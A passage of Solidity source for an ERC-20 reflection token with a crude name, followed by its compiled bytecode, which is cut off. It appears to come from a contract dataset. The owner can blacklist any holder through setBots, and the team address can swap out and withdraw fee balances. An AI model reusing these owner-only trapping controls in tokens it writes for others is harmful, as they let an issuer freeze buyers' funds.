bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612982565b61045e565b6040516101789190612e60565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292f565b61048d565b6040516101e09190612e60565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612895565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613092565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612895565b610783565b6040516102b1919061301d565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d92565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7b565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612982565b61098d565b60405161035b9190612e60565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c2565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a65565b6110ac565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ef565b6111f5565b604051610418919061301d565b60405180910390f35b60606040518060400160405280600981526020017f43756d496e504541530000000000000000000000000000000000000000000000815250905090565b600061047261046b61127c565b8484611284565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144f565b61055b846104a661127c565b6105568560405180606001604052806028815260200161379960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0e9092919063ffffffff16565b611284565b600190509392505050565b61056e61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5d565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127c565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c72565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6d565b9050919050565b6107dc61127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4349500000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127c565b848461144f565b6001905092915050565b6109b361127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5d565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133da565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613333565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127c565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611ddb565b50565b610b5761127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5d565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611284565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c2565b6040518363ffffffff1660e01b8152600401610df9929190612dad565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c2565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dff565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a92565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611056929190612dd6565b602060405180830381600087803b15801561107057600080fd5b505af1158015611084573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a89190612a38565b5050565b6110b461127c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890612f5d565b60405180910390fd5b60008111611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612f1d565b60405180910390fd5b6111b360646111a583683635c9adc5dea0000061206390919063ffffffff16565b6120de90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111ea919061301d565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112eb90612fbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611364576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135b90612edd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611442919061301d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690612f9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152690612e9d565b60405180910390fd5b60008111611572576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156990612f7d565b60405180910390fd5b61157a610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e857506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4b57600f60179054906101000a900460ff161561181b573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166a57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181a57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176461127c565b73ffffffffffffffffffffffffffffffffffffffff1614806117da5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c261127c565b73ffffffffffffffffffffffffffffffffffffffff16145b611819576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181090612ffd565b60405180910390fd5b5b5b60105481111561182a57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ce5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119825750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d85750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f05750600f60179054906101000a900460ff165b15611a915742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4057600080fd5b603c42611a4d9190613153565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9c30610783565b9050600f60159054906101000a900460ff16158015611b095750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b215750600f60169054906101000a900460ff165b15611b4957611b2f81611ddb565b60004790506000811115611b4757611b4647611c72565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfc57600090505b611c0884848484612128565b50505050565b6000838311158290611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d9190612e7b565b60405180910390fd5b5060008385611c659190613234565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc26002846120de90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ced573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3e6002846120de90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d69573d6000803e3d6000fd5b5050565b6000600654821115611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab90612ebd565b60405180910390fd5b6000611dbe612155565b9050611dd381846120de90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1357611e12613409565b5b604051908082528060200260200182016040528015611e415781602001602082028036833780820191505090505b5090503081600081518110611e5957611e586133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efb57600080fd5b505afa158015611f0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3391906128c2565b81600181518110611f4757611f466133da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fae30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611284565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612012959493929190613038565b600060405180830381600087803b15801561202c57600080fd5b505af1158015612040573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207657600090506120d8565b6000828461208491906131da565b905082848261209391906131a9565b146120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca90612f3d565b60405180910390fd5b809150505b92915050565b600061212083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612180565b905092915050565b80612136576121356121e3565b5b612141848484612214565b8061214f5761214e6123df565b5b50505050565b60008060006121626123f1565b9150915061217981836120de90919063ffffffff16565b9250505090565b600080831182906121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be9190612e7b565b60405180910390fd5b50600083856121d691906131a9565b9050809150509392505050565b60006008541480156121f757506000600954145b1561220157612212565b600060088190555060006009819055505b565b60008060008060008061222687612453565b95509550955095509550955061228486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124bb90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236581612563565b61236f8483612620565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cc919061301d565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612427683635c9adc5dea000006006546120de90919063ffffffff16565b82101561244657600654683635c9adc5dea0000093509350505061244f565b81819350935050505b9091565b60008060008060008060008060006124708a60085460095461265a565b9250925092506000612480612155565b905060008060006124938e8787876126f0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0e565b905092915050565b60008082846125149190613153565b905083811015612559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255090612efd565b60405180910390fd5b8091505092915050565b600061256d612155565b90506000612584828461206390919063ffffffff16565b90506125d881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612635826006546124bb90919063ffffffff16565b6006819055506126508160075461250590919063ffffffff16565b6007819055505050565b6000806000806126866064612678888a61206390919063ffffffff16565b6120de90919063ffffffff16565b905060006126b060646126a2888b61206390919063ffffffff16565b6120de90919063ffffffff16565b905060006126d9826126cb858c6124bb90919063ffffffff16565b6124bb90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612709858961206390919063ffffffff16565b90506000612720868961206390919063ffffffff16565b90506000612737878961206390919063ffffffff16565b905060006127608261275285876124bb90919063ffffffff16565b6124bb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278c612787846130d2565b6130ad565b905080838252602082019050828560208602820111156127af576127ae61343d565b5b60005b858110156127df57816127c588826127e9565b8452602084019350602083019250506001810190506127b2565b5050509392505050565b6000813590506127f881613753565b92915050565b60008151905061280d81613753565b92915050565b600082601f83011261282857612827613438565b5b8135612838848260208601612779565b91505092915050565b6000813590506128508161376a565b92915050565b6000815190506128658161376a565b92915050565b60008135905061287a81613781565b92915050565b60008151905061288f81613781565b92915050565b6000602082840312156128ab576128aa613447565b5b60006128b9848285016127e9565b91505092915050565b6000602082840312156128d8576128d7613447565b5b60006128e6848285016127fe565b91505092915050565b6000806040838503121561290657612905613447565b5b6000612914858286016127e9565b9250506020612925858286016127e9565b9150509250929050565b60008060006060848603121561294857612947613447565b5b6000612956868287016127e9565b9350506020612967868287016127e9565b92505060406129788682870161286b565b9150509250925092565b6000806040838503121561299957612998613447565b5b60006129a7858286016127e9565b92505060206129b88582860161286b565b9150509250929050565b6000602082840312156129d8576129d7613447565b5b600082013567ffffffffffffffff8111156129f6576129f5613442565b5b612a0284828501612813565b91505092915050565b600060208284031215612a2157612a20613447565b5b6000612a2f84828501612841565b91505092915050565b600060208284031215612a4e57612a4d613447565b5b6000612a5c84828501612856565b91505092915050565b600060208284031215612a7b57612a7a613447565b5b6000612a898482850161286b565b91505092915050565b600080600060608486031215612aab57612aaa613447565b5b6000612ab986828701612880565b9350506020612aca86828701612880565b9250506040612adb86828701612880565b9150509250925092565b6000612af18383612afd565b60208301905092915050565b612b0681613268565b82525050565b612b1581613268565b82525050565b6000612b268261310e565b612b308185613131565b9350612b3b836130fe565b8060005b83811015612b6c578151612b538882612ae5565b9750612b5e83613124565b925050600181019050612b3f565b5085935050505092915050565b612b828161327a565b82525050565b612b91816132bd565b82525050565b6000612ba282613119565b612bac8185613142565b9350612bbc8185602086016132cf565b612bc58161344c565b840191505092915050565b6000612bdd602383613142565b9150612be88261345d565b604082019050919050565b6000612c00602a83613142565b9150612c0b826134ac565b604082019050919050565b6000612c23602283613142565b9150612c2e826134fb565b604082019050919050565b6000612c46601b83613142565b9150612c518261354a565b602082019050919050565b6000612c69601d83613142565b9150612c7482613573565b602082019050919050565b6000612c8c602183613142565b9150612c978261359c565b604082019050919050565b6000612caf602083613142565b9150612cba826135eb565b602082019050919050565b6000612cd2602983613142565b9150612cdd82613614565b604082019050919050565b6000612cf5602583613142565b9150612d0082613663565b604082019050919050565b6000612d18602483613142565b9150612d23826136b2565b604082019050919050565b6000612d3b601783613142565b9150612d4682613701565b602082019050919050565b6000612d5e601183613142565b9150612d698261372a565b602082019050919050565b612d7d816132a6565b82525050565b612d8c816132b0565b82525050565b6000602082019050612da76000830184612b0c565b92915050565b6000604082019050612dc26000830185612b0c565b612dcf6020830184612b0c565b9392505050565b6000604082019050612deb6000830185612b0c565b612df86020830184612d74565b9392505050565b600060c082019050612e146000830189612b0c565b612e216020830188612d74565b612e2e6040830187612b88565b612e3b6060830186612b88565b612e486080830185612b0c565b612e5560a0830184612d74565b979650505050505050565b6000602082019050612e756000830184612b79565b92915050565b60006020820190508181036000830152612e958184612b97565b905092915050565b60006020820190508181036000830152612eb681612bd0565b9050919050565b60006020820190508181036000830152612ed681612bf3565b9050919050565b60006020820190508181036000830152612ef681612c16565b9050919050565b60006020820190508181036000830152612f1681612c39565b9050919050565b60006020820190508181036000830152612f3681612c5c565b9050919050565b60006020820190508181036000830152612f5681612c7f565b9050919050565b60006020820190508181036000830152612f7681612ca2565b9050919050565b60006020820190508181036000830152612f9681612cc5565b9050919050565b60006020820190508181036000830152612fb681612ce8565b9050919050565b60006020820190508181036000830152612fd681612d0b565b9050919050565b60006020820190508181036000830152612ff681612d2e565b9050919050565b6000602082019050818103600083015261301681612d51565b9050919050565b60006020820190506130326000830184612d74565b92915050565b60006